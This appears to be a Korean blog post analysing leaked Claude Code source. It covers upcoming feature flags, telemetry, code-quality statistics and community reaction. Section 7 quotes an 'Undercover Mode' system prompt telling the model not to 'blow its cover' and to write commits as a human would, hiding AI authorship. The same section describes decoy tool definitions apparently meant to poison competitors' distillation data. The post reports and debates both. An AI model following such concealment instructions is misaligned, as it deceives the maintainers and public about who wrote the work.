&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;BRIDGE_MODE (remote-control)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ant 빌드 활성화, GrowthBook 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;COORDINATOR_MODE&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;코드 안정, 런타임 게이트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;VOICE_MODE&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3-Q4&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;WebSocket STT 완성, OAuth 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;KAIROS (always-on Claude)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 H2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;6개 서브플래그, 최대 범위&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;ULTRAPLAN&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 Q3-Q4&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CCR 의존성, prod-hardening TODO&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;CHICAGO_MCP (Computer Use)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;2026 H2&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;macOS 전용, Computer Use 통합&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: KAIROS + COORDINATOR_MODE + AGENT_TRIGGERS + BG_SESSIONS + DAEMON이 모두 출시되면, Claude Code는 &quot;에디터 어시스턴트&quot;에서 &quot;24시간 자율 에이전트 플랫폼&quot;으로 진화한다. 이번 유출은 그 설계도를 우연히 공개한 셈이다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 내부 안전장치: 충격적인 두 가지 발견&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 논쟁적이었던 두 가지 코드다. 기술적 흥미를 넘어 윤리적 질문을 던진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;① Undercover Mode &amp;mdash; 위장 모드&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Bazpw/dJMcacbvTSg/yyaXagpGfODPSIqeQj5kP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBazpw%2FdJMcacbvTSg%2FyyaXagpGfODPSIqeQj5kP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1954&quot; height=&quot;1062&quot; data-origin-width=&quot;1954&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;소스에서 발견된 시스템 프롬프트 일부:&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; margin: 15px 0; overflow-x: auto;&quot;&gt;
&lt;pre class=&quot;vim&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;markdown&quot;&gt;&lt;code&gt;&quot;You are operating UNDERCOVER...
Your commit messages and code comments MUST NOT contain ANY
Anthropic-internal information. Do not blow your cover.

If we're not confident we're internal, we stay undercover.&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 모드는 Anthropic 직원이 공개 저장소에서 Claude Code를 사용할 때 활성화된다. 다음 정보를 자동으로 제거한다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Git Co-Authored-By 헤더 완전 삭제&lt;/b&gt; &amp;mdash; AI 기여를 나타내는 커밋 트레일러를 자동 제거해 AI가 작성했음을 숨긴다 (소스 확인)&lt;/li&gt;
&lt;li&gt;커밋 메시지 스타일 변경 &amp;mdash; 시스템 프롬프트에 &quot;write commits as a human developer would&quot; 지시가 포함됨 (소스 확인)&lt;/li&gt;
&lt;li&gt;내부 모델 코드명 (Capybara, Tengu 등 동물명)&lt;/li&gt;
&lt;li&gt;미공개 버전 번호&lt;/li&gt;
&lt;li&gt;내부 툴링 참조&lt;/li&gt;
&lt;li&gt;&quot;Claude Code&quot;라는 단어 자체&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;커뮤니티 반응&lt;/b&gt;&lt;br /&gt;기술적으로는 커밋 메시지&amp;middot;PR 제목&amp;middot;PR 본문에서 Anthropic 내부 정보(Capybara, Tengu 같은 코드네임 등)가 공개 저장소에 노출되는 것을 방지하는 기능이다. &lt;br /&gt;그러나 커뮤니티에서는 &quot;AI가 작성한 기여물임을 숨기는 것 아니냐&quot;는 우려로 번졌고, HN에서는 &quot;기여자 투명성&quot;과 &quot;도구 선택의 자유&quot; 사이의 경계에 대한 토론이 이어졌다. &lt;br /&gt;이 기능의 실제 의도와 커뮤니티의 해석 사이에 간극이 있음을 염두에 두어야 한다. &lt;br /&gt;(출처: &lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News #47584540&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;② ANTI_DISTILLATION_CC &amp;mdash; 경쟁사 방어 장치&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;1094&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p8FxR/dJMcaax0TC3/t8RMIjvoH5AZrzSI2FCKHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp8FxR%2FdJMcaax0TC3%2Ft8RMIjvoH5AZrzSI2FCKHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1926&quot; height=&quot;1094&quot; data-origin-width=&quot;1926&quot; data-origin-height=&quot;1094&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;코드에서 &lt;code&gt;ANTI_DISTILLATION_CC&lt;/code&gt;라는 이름의 컴포넌트가 발견됐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 컴포넌트는 API 요청에 &lt;b&gt;가짜 도구 정의(decoy tool definitions)&lt;/b&gt;를 삽입한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서는 경쟁사가 Claude Code와의 대화 데이터를 모델 증류(model distillation)에 활용하려 할 때 학습 데이터를 오염시키기 위한 목적으로 해석하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic이 공식적으로 이 의도를 확인하지는 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HN에서는 이에 대한 반응이 둘로 나뉘었다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;옹호론&lt;/b&gt;: 자사 API로 생성된 데이터를 경쟁사가 무단 학습하는 것에 대한 정당한 방어&lt;/li&gt;
&lt;li&gt;&lt;b&gt;비판론&lt;/b&gt;: 표준 API 계약 이상의 &quot;데이터 독성&quot; 행위는 신뢰를 훼손한다&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;이것이 의미하는 바: Anthropic은 단순히 최고의 모델을 만드는 것을 넘어, 자사 기술이 경쟁사에 흡수되는 것을 코드 레벨에서 적극적으로 방어하고 있다. 이는 AI 산업에서 지식재산권 방어 전략이 얼마나 세밀해졌는지를 보여준다.&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;③ 감정 분석: 정규식 vs LLM&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스에는 사용자 불만 감지를 위한 정규식 기반 감정 분석 코드가 있다. 욕설, &quot;continue&quot; 반복 패턴, 좌절 신호를 감지해 Datadog으로 전송한다. 이 설계 선택이 HN에서 뜨거운 토론을 낳았다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;질문&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;답변&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;왜 LLM 대신 정규식?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;속도, 결정론, 비용 효율성 &amp;mdash; 모든 요청에 추가 LLM 호출은 과잉&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;정확도는?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;공식 수치 없음 &amp;mdash; 정규식 기반이므로 LLM 대비 정밀도가 낮을 것으로 추정되나, 로깅 목적으로는 충분한 수준으로 보인다&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;오탐(false positive) 방지?&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;단어 경계(&lt;code&gt;\b&lt;/code&gt;) 사용 &amp;mdash; &quot;offset&quot;에서 &quot;ffs&quot; 오탐 방지&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;!-- 섹션 7 추가 — 코드 품질 &amp; 텔레메트리 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;④ 코드 품질 위기: 테스트 없는 64,464줄&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bc3mpC/dJMcagyb6zy/1Snh1EKikW7rEhQMvKdiN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbc3mpC%2FdJMcagyb6zy%2F1Snh1EKikW7rEhQMvKdiN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;1102&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;aldegad.github.io 분석팀(Rumi, Sami)이 1,892개 TypeScript/TSX 파일을 전수 조사한 결과, 심각한 기술 부채가 드러났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad.github.io/claude-code-analysis, 2026-03-31&lt;/a&gt;)&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; border-radius: 8px; padding: 16px 20px; margin: 15px 0;&quot;&gt;&lt;b&gt;  테스트 파일 0개&lt;/b&gt;&lt;br /&gt;&lt;code&gt;src/&lt;/code&gt; 디렉터리 내 테스트 파일이 전혀 없다. &lt;code&gt;NODE_ENV === 'test'&lt;/code&gt; 가드와 &lt;code&gt;TestingPermissionTool&lt;/code&gt;이 소스에 존재하는 것으로 보아 테스트는 별도 비공개 레포에 있는 것으로 추정되지만, 유출 범위에는 포함되지 않았다. [ESTIMATE]&lt;/div&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;이슈&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;수치 (aldegad 분석)&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;위험&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;빈 catch 블록 (bare catch)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;666개 &amp;mdash; 전체 예외 핸들러의 46.7%&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;analytics, 보안 정책, OAuth 오류 무시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Type assertion (&lt;code&gt;as X&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;6,656개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;TypeScript 타입 안전성 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Non-null assertion (&lt;code&gt;!&lt;/code&gt;)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;310개&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;런타임 크래시 위험&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;code&gt;noExplicitAny&lt;/code&gt; 비활성화&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;tsconfig에서 비활성&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;타입 보증 전반 약화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;초대형 파일 Top 5:&lt;/b&gt; &lt;code&gt;print.ts&lt;/code&gt; 5,594줄 (3,167줄 단일 함수, 486개 분기점 &amp;mdash; CLI 포매팅 + SDK 프로토콜 + 리모트 컨트롤 전담), &lt;code&gt;messages.ts&lt;/code&gt; 5,513줄, &lt;code&gt;sessionStorage.ts&lt;/code&gt; 5,106줄, &lt;code&gt;hooks.ts&lt;/code&gt; 5,023줄, &lt;code&gt;REPL.tsx&lt;/code&gt; 5,006줄 (80+ imports). (출처: aldegad 분석, DEV.to)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;한 줄 요약: 프로덕션 AI 도구가 &quot;바이브 코딩 방식으로, 이해 없이 프롬프트 먼저&quot; 개발됐다는 커뮤니티 분석이 나오는 배경이다. 속도와 품질 사이의 트레이드오프가 코드 전체에 각인되어 있다.&lt;/i&gt;&lt;i&gt;&lt;/i&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;⑤ 텔레메트리 심층 분석: 1,000개 이상의 이벤트와 이메일 전송&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커뮤니티에서 가장 프라이버시 우려를 불러일으킨 부분이다. (출처: &lt;a href=&quot;https://aldegad.github.io/claude-code-analysis/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;aldegad 분석&lt;/a&gt;, &lt;a href=&quot;https://www.ccleaks.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;ccleaks.com&lt;/a&gt;, Marco Kotrotsos 텔레메트리 분석)&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;1,000개 이상의 이벤트 유형&lt;/b&gt; &amp;mdash; 도구 허용/거부 결정, YOLO 자동 권한 분류, 세션 성능, 구독 티어, 환경 핑거프린팅, 불만 신호(욕설 감지, &quot;continue&quot; 반복 패턴) 포함&lt;/li&gt;
&lt;li&gt;&lt;b&gt;사용자 이메일 OAuth 속성 전송&lt;/b&gt; &amp;mdash; &lt;code&gt;user.email&lt;/code&gt;이 해싱 없이 Datadog 텔레메트리 속성에 포함됨 (Marco Kotrotsos 문서 확인; [WARNING] 해싱 여부는 전송 레이어에서 추가 처리될 수 있으나 소스상 확인 불가)&lt;/li&gt;
&lt;li&gt;&lt;b&gt;&lt;code&gt;tengu_frond_boric&lt;/code&gt;&lt;/b&gt; &amp;mdash; 의도적으로 난독화된 텔레메트리 킬 스위치. 소스 내 주석에 &lt;code&gt;&quot;Mangled name&quot;&lt;/code&gt;이라고 명시되어 있다. 이 플래그를 찾기 어렵게 만든 이유는 공식적으로 설명되지 않았다.&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GrowthBook 런타임 게이팅&lt;/b&gt; &amp;mdash; &lt;code&gt;tengu_*&lt;/code&gt; 접두사 플래그들이 매 시간 &lt;code&gt;/api/claude_code/settings&lt;/code&gt;를 폴링해, 사용자 동의 없이 런타임에서 동작 변경 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 16px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 20px 0;&quot;&gt;&lt;b&gt;⚠️ Fast Mode 가격 차이: 동일 모델, 6배 프리미엄&lt;/b&gt;&lt;br /&gt;Fast Mode는 표준 Claude Code와 &lt;b&gt;동일한 Opus 4.6 모델&lt;/b&gt;을 사용하면서 6배 높은 요금을 부과한다: Opus 4.6 입력 $30/M(Fast) vs $5/M(표준). 소스에서 내부명 &lt;b&gt;&quot;Penguin Mode&quot;&lt;/b&gt;로 확인됨. 이 가격 차이의 기술적 근거에 대한 공식 설명은 없다. (출처: ccleaks.com; [WARNING] 요금은 변동 가능, 공식 페이지에서 확인 권장)&lt;/div&gt;
&lt;!-- 섹션 8 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 커뮤니티 반응과 논쟁 포인트&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;출처&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;반응 요약&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=47584540&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Hacker News&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;They forgot to add 'make no mistakes' to the system prompt&quot; &amp;mdash; 기술적 감탄과 조롱이 섞인 반응. 가장 많은 논쟁은 정규식 감정 분석과 Undercover Mode.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://github.com/Kuberwastaken/claude-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub (Kuberwastaken)&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;발견 수 시간 만에 1,100+ Stars, 1,900+ Forks. 조직적인 이슈 스팸(강제 삭제 시도 의심)도 발생. (2026-03-31 기준)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&lt;a href=&quot;https://www.mintlify.com/VineeTagarwaL-code/claude-code/introduction&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mintlify 분석 문서&lt;/a&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;당일 공개. 아키텍처부터 메모리 처리까지 핵심 동작 원리를 낱낱이 정리한 독립 문서.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;한국 커뮤니티&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;&quot;AGI의 비밀이 80만 줄의 TypeScript 조건문이었다&quot;는 농담이 퍼짐. 개발자들의 속도에 감탄하는 반응 다수.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;중국 개발자 커뮤니티 (X)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 10px; border: 1px solid #b3d9ff;&quot;&gt;Chaofan Shou(&lt;a href=&quot;https://x.com/Fried_rice/status/2038894956459290963&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@Fried_rice&lt;/a&gt;), 陈成(@chenchengpro) 등이 기술 분석을 빠르게 전파. 소스코드 직접 분석 내용 공유.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;i&gt;이 반응들이 보여주는 것은: &quot;정보가 공개되는 순간, 커뮤니티는 당사자보다 더 빠르게 그것을 이해한다&quot;는 현상이다. Anthropic이 소스맵을 제거한 것은 이미 늦었다. 분산된 집단 지성은 몇 시간 만에 512,000줄을 교과서로 바꿔버렸다.&lt;/i&gt;&lt;/p&gt;
&lt;!-- 섹션 9 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 10px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;9. Anthropic의 대응과 법적 맥락&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Anthropic은 공개적인 성명을 내지 않았다. 다만 다음 조치를 취했다:&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;npm 패키지 업데이트로 소스맵 파일 제거&lt;/li&gt;
&lt;li&gt;이전 버전(v2.1.88 등) npm 레지스트리에서 삭제&lt;/li&gt;
&lt;li&gt;그러나 GitHub 아카이브 저장소 3개 이상 이미 존재&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 유출과 시기적으로 겹치는 법적 맥락도 있다. Anthropic은 2026년 3월 OpenCode를 상대로 무단 API 접근을 이유로 법적 요청(cease-and-desist)을 보냈고, 제3자 클라이언트 사용을 금지하는 서비스 약관을 업데이트했다. (출처: &lt;a href=&quot;https://theagenttimes.com/articles/anthropic-forces-opencode-to-strip-claude-integration-after--96edcc05&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Agent Times&lt;/a&gt;) 이는 코드 비밀보다 &lt;b&gt;서버 사이드 가치 보호&lt;/b&gt;에 집중하는 전략을 반영한다.&lt;/p&gt;
